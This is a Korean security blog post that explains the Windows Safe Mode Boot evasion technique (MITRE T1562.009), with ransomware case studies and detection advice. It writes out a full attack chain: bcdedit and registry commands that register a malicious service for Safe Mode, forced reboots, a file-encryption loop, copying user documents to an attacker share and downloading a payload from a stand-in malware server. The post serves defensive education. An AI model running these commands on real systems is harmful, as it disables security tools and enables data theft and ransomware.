COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
Safe Mode Boot 공격으로 모든 보안 도구를 우회하는 T1562.009 기법을 분석합니다. BCD 조작부터 Registry 수정까지 3단계 공격 원리와 RA World 랜섬웨어 실제 사례를 통해 방어 전략을 제시합니다.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
2024년 3월, RA World 랜섬웨어가 전 세계 기업들을 공격하면서 한 가지 특이한 패턴이 발견되었다. 이들은 시스템을 감염시킨 후 곧바로 Safe Mode로 재부팅했고, 그 결과 모든 EDR 솔루션과 안티바이러스가 무력화된 상태에서 파일을 암호화했다.
Safe Mode는 원래 시스템 문제 해결을 위해 만들어진 Windows의 진단 모드이다. 최소한의 드라이버와 서비스만 로드하여 문제가 있는 소프트웨어나 드라이버로부터 시스템을 격리시키는 것이 목적이었다. 하지만 이 설계 철학이 역설적으로 보안 도구들까지 차단하는 결과를 낳았다.
기존에는 공격자들이 EDR을 무력화하기 위해 복잡한 프로세스 종료, 서비스 중단, 드라이버 삭제 등의 기법을 사용해야 했다. 하지만 Safe Mode Boot는 운영 체제 자체의 정상 기능을 이용해 모든 보안 도구를 한 번에 무력화할 수 있는 훨씬 간단하고 효과적인 방법을 제공했다.
한 줄 요약: Safe Mode Boot는 시스템 진단 기능을 악용하여 모든 보안 도구를 우회하는 공격 기법이다.
Safe Mode Boot 공격은 Windows의 Safe Mode 부팅 메커니즘을 악용하여 보안 도구들이 실행되지 않는 환경을 의도적으로 만드는 공격 기법이다.
Safe Mode는 컴퓨터가 기본 기능에 필요한 핵심 시스템 파일과 드라이버만 로드하는 진단 시작 모드입니다. 운영 체제의 문제를 해결하기 위해 최소한의 드라이버와 서비스 집합을 로드하여 잠재적인 문제가 있는 요소로부터 시스템을 격리하도록 설계되었습니다. — MITRE ATT&CK T1562.009
MITRE ATT&CK 프레임워크에서 T1562.009로 분류된 이 기법은 Defense Evasion(방어 회피) 전술에 속하며, 공격자가 Administrator 권한을 획득한 후 실행할 수 있다.
| 용어 | 설명 |
|---|---|
| Safe Mode | 역할: 기본 진단 모드 / 로드되는 구성 요소: 핵심 드라이버, 기본 서비스만 / 공격자 활용도: 높음 - 대부분 보안 도구 차단 |
| Safe Mode with Networking | 역할: 네트워크 지원 진단 모드 / 로드되는 구성 요소: 기본 구성 + 네트워크 드라이버 / 공격자 활용도: 매우 높음 - 원격 제어 가능 |
| Safe Mode with Command Prompt | 역할: 명령줄 진단 모드 / 로드되는 구성 요소: 기본 구성 + CMD / 공격자 활용도: 중간 - GUI 없음 |
| Normal Boot | 역할: 정상 부팅 모드 / 로드되는 구성 요소: 모든 드라이버, 서비스, 프로그램 / 공격자 활용도: 낮음 - 보안 도구 활성 |
Safe Mode Boot 공격은 Windows의 부팅 메커니즘을 정교하게 조작하여 보안 도구가 실행되지 않는 환경을 만드는 정교한 과정이다.
공격자는 먼저 Windows의 부팅 설정을 관리하는 BCD 저장소를 수정한다. BCD는 Windows Vista 이후 도입된 부팅 관리 시스템으로, 이전의 boot.ini를 대체한다.
BCD 조작 명령어:
# Safe Mode with Networking으로 다음 부팅 설정
bcdedit /set {current} safeboot network
# 부팅 메뉴 타임아웃 설정 (자동 부팅)
bcdedit /timeout 0
# 부팅 설정 확인
bcdedit /enum
이 명령을 실행하면 BCD 저장소에 다음과 같은 변경사항이 기록된다:
Windows Boot Loader
-------------------
identifier {current}
device partition=C:
path \Windows\system32\winload.exe
description Windows 10
locale en-US
inherit {bootloadersettings}
recoverysequence {recovery-sequence-id}
recoveryenabled Yes
safeboot Network # <- 이 설정이 추가됨
Safe Mode에서는 기본적으로 핵심 서비스만 실행되지만, Registry를 수정하여 특정 프로그램을 허용 목록에 추가할 수 있다.
Safe Mode 허용 목록 등록:
# 현재 사용자 시작 프로그램에 추가 (별표 접두사 사용)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "*MalwareService" /t REG_SZ /d "C:\temp\malware.exe"
# Safe Mode 최소 서비스 목록에 추가
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MalwareService" /ve /t REG_SZ /d "Service"
# Safe Mode with Networking 서비스 목록에 추가
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MalwareService" /ve /t REG_SZ /d "Service"
Registry 경로별 역할:
| Registry 경로 | 역할 | 실행 조건 |
|---|---|---|
HKLM\Software\Microsoft\Windows\CurrentVersion\Run | 시작 프로그램 목록 | 별표(*) 접두사 필요 |
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal | Safe Mode 허용 서비스 | Safe Mode에서 실행 |
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network | Network Safe Mode 허용 서비스 | Safe Mode with Networking에서 실행 |
설정 변경 후 공격자는 시스템을 강제로 재부팅한다:
# 즉시 재부팅 (사용자 확인 없음)
shutdown /r /t 0 /f
# 또는 WMI를 통한 재부팅
wmic os where Primary='TRUE' reboot
재부팅 과정에서 Windows Boot Manager는 BCD 설정을 읽어 Safe Mode로 부팅을 진행한다.
Safe Mode로 부팅되면 다음과 같은 변화가 발생한다:
로드되지 않는 구성 요소:
여전히 작동하는 구성 요소:
이 환경에서 공격자는 탐지 위험 없이 다음 활동을 수행할 수 있다:
# 파일 암호화 (랜섬웨어)
Get-ChildItem -Path "C:\Users" -Recurse -Include *.docx,*.xlsx,*.pdf |
ForEach-Object { Encrypt-File $_.FullName }
# 데이터 탈취
Copy-Item -Path "C:\Users\*\Documents\*" -Destination "\\attacker-server\share\" -Recurse
# 추가 악성코드 설치
Invoke-WebRequest -Uri "http://malware-server/payload.exe" -OutFile "C:\Windows\System32\service.exe"
악의적 활동 완료 후 공격자는 정상 부팅을 복구하여 의심을 피한다:
# Safe Mode 설정 제거
bcdedit /deletevalue {current} safeboot
# 시스템 재부팅
shutdown /r /t 0
하지만 Registry에 등록된 악성 프로그램은 그대로 남아 정상 부팅 후에도 지속적으로 실행된다.
이 과정을 일상적인 비유로 설명하면, 건물의 보안 시스템을 우회하기 위해 "화재 대피 모드"를 악용하는 것과 같다. 화재 대피 모드에서는 모든 보안 도어가 열리고 감시 카메라가 꺼지지만, 미리 등록된 "소방관"은 자유롭게 출입할 수 있다. 공격자는 자신을 가짜 소방관으로 등록한 후 화재 대피 모드를 작동시켜 보안이 무력화된 상태에서 원하는 활동을 수행하는 것이다.
Safe Mode Boot 공격은 공격자에게 매우 매력적인 기법이다. 왜냐하면 복잡한 EDR 우회 기술이나 제로데이 익스플로잇 없이도, Windows의 정상 기능만으로 모든 보안 도구를 한 번에 무력화할 수 있기 때문이다.
공격자들은 Safe Mode의 다음 특성들을 악용한다:
설계상 한계:
탐지 회피:
1단계: 초기 침투 및 권한 획득
# 피싱 이메일을 통한 초기 침투 후
# UAC 우회를 통한 관리자 권한 획득
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {UAC-Bypass}"
2단계: Safe Mode 설정 및 악성 프로그램 등록
# Safe Mode with Networking 설정
bcdedit /set {current} safeboot network
# 랜섬웨어를 Safe Mode 허용 목록에 추가
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CryptoLocker" /ve /t REG_SZ /d "Service"
# 시작 프로그램에 등록 (별표 접두사로 Safe Mode에서 실행)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "*CryptoService" /t REG_SZ /d "C:\Windows\System32\crypto.exe"
3단계: 시스템 재부팅 및 공격 실행
# 강제 재부팅
shutdown /r /t 5 /c "System maintenance required"
# Safe Mode 부팅 후 랜섬웨어 실행
# (이 시점에서 모든 EDR/AV가 비활성화됨)
RA World 랜섬웨어 (2024년 3월)
RA World 공격 그룹은 T1562.009를 활용한 대표적인 사례이다:
Black Basta 랜섬웨어
Black Basta는 EDR 제어를 비활성화하기 위해 Safe Mode Boot를 적극 활용하는 것으로 알려져 있다:
Snatch 랜섬웨어 (2019년)
Snatch는 Safe Mode Boot 공격의 초기 사례 중 하나이다:
이들 공격 사례의 공통점은 모두 Safe Mode의 "최소 구성" 철학을 악용하여 보안 도구를 우회했다는 점이다.
탐지 포인트:
# bcdedit 명령 실행 감지
Process: bcdedit.exe
CommandLine: *safeboot*
Registry Path: HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\*
Event: Registry Key Created/Modified
Event ID: 1074 (System Shutdown)
Event ID: 6005 (Event Log Service Started) - Safe Mode 부팅 후
방어 대책:
올바른 구현 체크리스트:
Safe Mode Boot 공격은 시스템의 정상 기능을 악용하기 때문에 완전한 차단보다는 조기 탐지와 신속한 대응이 핵심이다. 특히 EDR 우회 공격 12가지 방법과 연계되어 사용될 때 더욱 위험하므로, 다층 보안 전략이 필요하다.
Safe Mode Boot 공격은 Windows의 진단 기능을 악용하여 모든 보안 도구를 한 번에 우회하는 정교한 공격 기법이다. 공격자는 BCD 조작과 Registry 수정을 통해 Safe Mode 환경을 악용하며, 이 과정에서 대부분의 EDR과 안티바이러스가 무력화된다.
이 공격은 보안 무력화 공격의 한 형태로, 다른 T1562 하위 기법들과 함께 사용될 때 더욱 강력해집니다. 특히 이벤트 로그 비활성화나 방화벽 무력화와 연계되면 탐지가 거의 불가능해집니다.
다음에 알아볼 것:
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.